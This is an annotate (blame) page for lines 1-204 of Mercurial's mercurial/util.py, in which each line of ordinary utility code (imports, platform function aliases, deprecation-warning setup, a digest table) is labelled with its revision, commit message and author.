mercurial-scm/hg-stable: mercurial/util.py annotate

annotate mercurial/util.py @ 43714:f0bee3b1b847

i18n: get datapath directly from resourceutil The new resourceutil module is lower in the dependency graph, so we can depend directly on it and won't have to depend on the util module to inject the datapath. Differential Revision: https://phab.mercurial-scm.org/D7435

author	Martin von Zweigbergk <martinvonz@google.com>
date	Thu, 14 Nov 2019 12:41:33 -0800
parents	9fb85668ee15
children	5be909dbe385

rev	line source
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	1 # util.py - Mercurial utility functions and platform specific implementations
8226 8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	2 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	6 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	7 # This software may be used and distributed according to the terms of the
10263 25e572394f5c Update license to GPLv2+ Matt Mackall <mpm@selenic.com> parents: 9996 diff changeset	8 # GNU General Public License version 2 or any later version.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	9
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	10 """Mercurial utility functions and platform specific implementations.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	11
8227 0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	12 This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	13 hide platform-specific details from the core.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	14 """
419 28511fc21073 [PATCH] file seperator handling for the other 'OS' mpm@selenic.com parents: diff changeset	15
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	16 from __future__ import absolute_import, print_function
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	17
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	18 import abc
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	19 import collections
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	20 import contextlib
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	21 import errno
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	22 import gc
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	23 import hashlib
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	24 import itertools
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	25 import mmap
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	26 import os
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	27 import platform as pyplatform
21907 7e5dfa00e3c2 util: rename 're' to 'remod' Siddharth Agarwal <sid0@fb.com> parents: 21857 diff changeset	28 import re as remod
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	29 import shutil
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	30 import socket
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	31 import stat
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	32 import sys
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	33 import time
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	34 import traceback
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	35 import warnings
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	36
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	37 from .thirdparty import attr
43087 66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	38 from .pycompat import (
43090 1f339b503a40 py3: manually import pycompat.delattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43089 diff changeset	39 delattr,
43089 c59eb1560c44 py3: manually import getattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43087 diff changeset	40 getattr,
43087 66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	41 open,
66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	42 setattr,
66f2cc210a29 py3: manually import pycompat.setattr where it is needed Gregory Szorc <gregory.szorc@gmail.com> parents: 43085 diff changeset	43 )
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	44 from hgdemandimport import tracing
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	45 from . import (
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	46 encoding,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	47 error,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	48 i18n,
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	49 node as nodemod,
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	50 policy,
28818 6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence timeless <timeless@mozdev.org> parents: 28497 diff changeset	51 pycompat,
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	52 urllibcompat,
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	53 )
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	54 from .utils import (
42041 3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	55 compression,
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	56 procutil,
43712 664e24207728 procutil: move mainfrozen() to new resourceutil.py Martin von Zweigbergk <martinvonz@google.com> parents: 43701 diff changeset	57 resourceutil,
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	58 stringutil,
f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	59 )
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	60
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	61 base85 = policy.importmod('base85')
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	62 osutil = policy.importmod('osutil')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	63
32245 4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	64 b85decode = base85.b85decode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	65 b85encode = base85.b85encode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	66
31934 12aca6770046 util: make cookielib module available Gregory Szorc <gregory.szorc@gmail.com> parents: 31878 diff changeset	67 cookielib = pycompat.cookielib
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	68 httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	69 pickle = pycompat.pickle
37102 6ca5f825a0ca util: make safehasattr() a pycompat function Yuya Nishihara <yuya@tcha.org> parents: 37101 diff changeset	70 safehasattr = pycompat.safehasattr
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	71 socketserver = pycompat.socketserver
36964 644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	72 bytesio = pycompat.bytesio
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	73 # TODO deprecate stringio name, as it is a lie on Python 3.
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	74 stringio = bytesio
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	75 xmlrpclib = pycompat.xmlrpclib
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	76
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	77 httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	78 urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	79 urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	80
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	81 # workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	82 _filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	83
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	84 if pycompat.iswindows:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	85 from . import windows as platform
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	86 else:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	87 from . import posix as platform
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	88
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	89 _ = i18n._
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	90
29530 3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path Yuya Nishihara <yuya@tcha.org> parents: 29455 diff changeset	91 bindunixsocket = platform.bindunixsocket
14927 2aa3e07b2f07 posix, windows: introduce cachestat Idan Kamara <idankk86@gmail.com> parents: 14926 diff changeset	92 cachestat = platform.cachestat
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	93 checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	94 checklink = platform.checklink
15011 5e44e4b3a0a3 util: move copymode into posix.py and windows.py Adrian Buehlmann <adrian@cadifra.com> parents: 15010 diff changeset	95 copymode = platform.copymode
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	96 expandglobs = platform.expandglobs
35517 c4caf530b1c7 util: add a function to show the mount point of the filesystem Matt Harbison <matt_harbison@yahoo.com> parents: 35515 diff changeset	97 getfsmountpoint = platform.getfsmountpoint
35513 beede158ea8a util: move getfstype() to the platform modules Matt Harbison <matt_harbison@yahoo.com> parents: 35464 diff changeset	98 getfstype = platform.getfstype
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	99 groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	100 groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	101 isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	102 isowner = platform.isowner
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	103 listdir = osutil.listdir
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	104 localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	105 lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	106 makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	107 nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	108 normpath = platform.normpath
15488 6eff984d8e76 dirstate: fix case-folding identity for traditional Unix Matt Mackall <mpm@selenic.com> parents: 15392 diff changeset	109 normcase = platform.normcase
24605 98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	110 normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	111 normcasefallback = platform.normcasefallback
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	112 openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	113 oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	114 parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	115 pconvert = platform.pconvert
25420 c2ec81891502 util: add a simple poll utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25406 diff changeset	116 poll = platform.poll
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	117 posixfile = platform.posixfile
39909 5fe0b880200e py3: convert os.readlink() path to native strings on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 39793 diff changeset	118 readlink = platform.readlink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	119 rename = platform.rename
24692 144883a8d0d4 util: add removedirs as platform depending function FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 24635 diff changeset	120 removedirs = platform.removedirs
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	121 samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	122 samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	123 samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	124 setflags = platform.setflags
17560 9ee25d7b1aed util: implement a faster os.path.split for posix systems Bryan O'Sullivan <bryano@fb.com> parents: 17537 diff changeset	125 split = platform.split
18026 ddc0323db78b osutil: write a C implementation of statfiles for unix Bryan O'Sullivan <bryano@fb.com> parents: 18013 diff changeset	126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868 cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	127 statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	128 statislink = platform.statislink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	129 umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	130 unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	131 username = platform.username
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	132
42041 3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	133 # small compat layer
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	134 compengines = compression.compengines
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	135 SERVERROLE = compression.SERVERROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	136 CLIENTROLE = compression.CLIENTROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	137
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	138 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	139 recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	140 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	141 pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	142
6470 ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions Dirkjan Ochtman <dirkjan@ochtman.nl> parents: 6339 diff changeset	143 # Python compatibility
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	144
15656 4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	145 _notset = object()
4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	146
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	147
30745 c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	148 def bitsfrom(container):
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	149 bits = 0
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	150 for bit in container:
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	151 bits \|= bit
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	152 return bits
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	153
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	154
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	155 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	156 # to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	157 # only use python deprecation warning in this case.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	158 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	159 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	160 # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	161 #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	162 # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	163 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	164 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	165 # makes the whole PYTHONWARNINGS thing useless for our usecase.
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	166 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	168 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
36617 281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	169 if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	170 # silence warning emitted by passing user string to re.sub()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	171 warnings.filterwarnings(
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	172 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	173 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	174 warnings.filterwarnings(
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	175 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	176 )
37455 9ecb7c471cfb py3: silence warning about deprecation of imp module Yuya Nishihara <yuya@tcha.org> parents: 37382 diff changeset	177 # TODO: reinvent imp.is_frozen()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	178 warnings.filterwarnings(
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	179 'ignore',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	180 'the imp module is deprecated',
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	181 DeprecationWarning,
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	182 'mercurial',
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	183 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	184
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	185
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	186 def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	187 """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	188
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	189 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	190 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	191 if _dowarn:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	192 msg += (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	193 b"\n(compatibility will be dropped after Mercurial-%s,"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	194 b" update your code.)"
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	195 ) % version
36166 02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn Augie Fackler <augie@google.com> parents: 36076 diff changeset	196 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	197
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	198
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	199 DIGESTS = {
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	200 b'md5': hashlib.md5,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	201 b'sha1': hashlib.sha1,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	202 b'sha512': hashlib.sha512,
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	203 }
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	204 # List of digest types from strongest to weakest
